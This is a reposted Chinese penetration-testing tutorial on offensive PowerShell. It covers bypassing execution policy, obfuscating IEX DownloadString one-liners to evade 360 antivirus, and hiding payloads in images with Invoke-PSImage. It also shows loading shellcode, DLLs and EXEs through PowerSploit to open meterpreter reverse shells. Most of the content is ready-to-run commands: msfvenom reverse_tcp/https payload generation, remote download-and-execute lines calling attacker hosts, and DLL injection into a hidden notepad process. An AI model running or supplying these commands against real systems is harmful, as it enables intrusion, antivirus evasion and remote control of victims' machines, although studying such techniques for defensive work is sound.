安基網 首頁 腳本 PowerShell 查看內容

滲透技巧之Powershell實戰思路

2020-1-18 12:37| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 早就聽聞powershell是一個功能強大的shell,如同linux的bash,并且支持.NET,全憑命令操作windows服務。現被更廣泛用于滲透測試等方面,在不需要寫入磁盤的情況下執行命令,也可以逃避Anti-Virus檢測。語法| 管道符的作用是將一個命令的輸出 ...


前言

早就聽聞powershell是一個功能強大的shell,如同linux的bash,并且支持.NET,全憑命令操作windows服務。

現被更廣泛用于滲透測試等方面,在不需要寫入磁盤的情況下執行命令,也可以逃避Anti-Virus檢測。


語法


| 管道符的作用是將一個命令的輸出作為另一個命令的輸入

; 分號用來連續執行系統命令

&是調用操作符,它允許你執行命令,腳本或函數

雙引號可以替換內部變量

雙引號里的雙引號,單引號里的單引號,寫兩遍輸出


常用命令


使用powershell滿足一個標椎動詞-名詞組合,來幫助我們更快理解。

Get-Alias -name dir 查看別名

Ls env 查看當前環境變量

Get-ExecutionPolicy 查看當前執行策略

Set-ExecutionPolicy 設置執行的策略

Get-Host 查看powershell版本

Get-Content 查看文件內容

Get-Content test.txt 顯示文本內容

Set-Content test.txt-Value “hello,word” 設置文本內容

Get-Process 查看當前服務列表

Get-Location 獲取當前位置

Get-WmiObject -Class Win32_ComputerSystem |Select-object -ExpandProperty UserName 查看登錄到物理機的用戶


執行策略


powershell有六種執行策略:

Unrestricted 權限最高,可以不受限制執行任意腳本

Restricted 默認策略,不允許任意腳本的執行

AllSigned 所有腳本必須經過簽名運行

RemoteSigned 本地腳本無限制,但是對來自網絡的腳本必須經過簽名

Bypass 沒有任何限制和提示

Undefined 沒有設置腳本的策略

默認情況下,禁止腳本執行。除非管理員更改執行策略。Set-ExecutionPolicy


繞過執行策略執行大概有以下幾種:


1.本地讀取然后通過管道符運行

powershell Get-Content 1.ps1 | powershell -NoProfile –


2.遠程下載并通過IEX運行腳本

powershell -c “IEX(New-Object Net.WebClient).DownloadString(‘http://xxx.xxx.xxx/a.ps1‘)”


3.Bypass執行策略繞過

powershell -ExecutionPolicy bypass -File ./a.ps1

不會顯示警告和提示


4.Unrestricted執行策略標志

powershell -ExecutionPolicy unrestricted -File ./a.ps1


當運行一個從網上下載的未簽名的腳本時,會給出權限提示

需要解釋的是:

Invoke-Expression(IEX的別名):用來把字符串當作命令執行。

WindowStyle Hidden(-w Hidden):隱藏窗口

Nonlnteractive(-NonI):非交互模式,PowerShell不為用戶提供交互的提示。

NoProfile(-NoP):PowerShell控制臺不加載當前用戶的配置文件。

Noexit(-Noe):執行后不退出Shell。

EncodedCommand(-enc): 接受base64 encode的字符串編碼,避免一些解析問題


bypass Anti-Virus


如果考慮實際情況,假設我們獲取了一個webshell。以上的幾種方法只有IEX可以遠程加載直接運行,其余都需要上傳ps木馬再繞過執行策略。

msfvenom生成ps木馬

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.203.140 LPORT=4444 -f psh-reflection >a.ps1

但是一些Anti-Virus對powershell命令查殺比較嚴格。以360為例:

對于后一種,可以將繞過執行策略的命令修改為bat文件后再次運行。可繞過360

powershell -ExecutionPolicy bypass -File ./a.ps1

將該命令保存為c.bat,菜刀運行即可。

對于IEX這種方便快捷的方式直接運行會被360攔截。可嘗試從語法上簡單變化。

主要是對DownloadString、http做一些處理。

比如這個:

powershell.exe

$c1=’powershell -c IEX’;

$c2=’(New-Object Net.WebClient).Downlo’;

$c3=’adString(”http://192.168.197.192/a.ps1”)’;

echo ($c1,$c2,$c3)

先將命令拆分為字符串,然后進行拼接。

需要注意的是雙引號可以輸出變量,兩個單引號連用才能輸出一個單引號。

成功輸出該命令。echo修改為IEX即可運行,bypass 360。

也可以使用replace替換函數,bypass。

powershell “$c1=’IEX(New-Object Net.WebClient).Downlo’;$c2=’123(”http://192.168.197.192/a.ps1”)’.Replace(’123′,’adString’);IEX ($c1+$c2)”

也可以對http字符進行繞過,同樣可以bypass

powershell “$a=’IEX((new-object net.webclient).downloadstring(”ht’;$b=’tp://192.168.197.192/a.ps1”))’;IEX ($a+$b)”

實際測試也可以在菜刀里直接運行后產生session

為了更好用于實戰,可以在c、vbs、hta、python等語言中執行該系統命令,達到bypass的效果。

大佬們還寫出了用于編碼和混淆的框架

https://github.com/danielbohannon/Invoke-Obfuscation

https://www.freebuf.com/sectool/136328.html


還有一款通過圖片免殺執行powershell的腳本Invoke-PSImage.ps1,主要把payload分散存到圖片的像素中,最后到遠端執行時,再重新遍歷重組像素中的payload執行。

參考資料:https://github.com/peewpw/Invoke-PSImage


在利用的時候需要準備一張足夠大的圖片。我用的是1900*1200的圖片x.jpg。

C:>powershell

PS C:> Import-Module .Invoke-PSImage.ps1

PS C:> Invoke-PSImage -Script .a.ps1 -Image .x.jpg -Out .reverse_shell.png -Web


a.ps1是msf木馬,-Out 生成reverse_shell.png圖片,-Web 輸出從web讀取的命令。


并將reverse_shell.png移動至web目錄,替換url地址。在powershell下執行即可。


加載shellcode、dll、exe


在《web安全攻防》書里有利用 PowerSploit 腳本加載shellcode、dll反彈meterpreter shell的方法。我把之前的筆記放在這里。


1.加載shellcode

msfvenom生成腳本木馬

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.72.164 LPORT=4444 -f powershell -o /var/www/html/test


在windows靶機上運行一下命令

IEX(New-Object Net.WebClient).DownloadString(“http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1“)

IEX(New-Object Net.WebClient).DownloadString(“http://192.168.72.164/test“)

Invoke-Shellcode -Shellcode ($buf) -Force 運行木馬


使用Invoke-Shellcode.ps1腳本執行shellcode

即可反彈meterpreter shell

2.加載dll

使用msfvenom 生成dll木馬腳本

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.164 lport=4444 -f dll -o /var/www/html/test.dll


將生成的dll上傳到目標的C盤。在靶機上執行以下命令

IEX(New-Object Net.WebClient).DownloadString(“http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1“)

Start-Process c:windowssystem32notepad.exe -WindowStyle Hidden


創建新的進程啟動記事本,并設置為隱藏

Invoke-DllInjection -ProcessID xxx -Dll c:test.dll 使用notepad的PID


使用Invoke-DLLinjection腳本,啟動新的進程進行dll注入(沒有殺毒軟件)

即可反彈meterpreter session


3.加載exe

msfvenom生成exe木馬(不免殺)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.195 lport=4444 -f exe > /var/www/html/test.exe


還是powersploit的Invoke-ReflectivePEInjection.ps1腳本,可以直接遠程加載exe達到bypass

powershell.exe -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1‘);Invoke-ReflectivePEInjection -PEUrl http://192.168.197.195/test.exe -ForceASLR”


成功反彈meterpreter shell

該腳本也可以結合之前的bypass方式進行免殺提權。

其余參考資料

15-ways-bypass-powershell-exec

Powershell-Basic-learning

作者:CSeroad

轉載注明:FreeBuf.COM




小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/a6783117467783791115/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人

路過

雞蛋
上一篇:Power Shell雜記

相關閱讀

最新評論

 最新
返回頂部
创业如何赚钱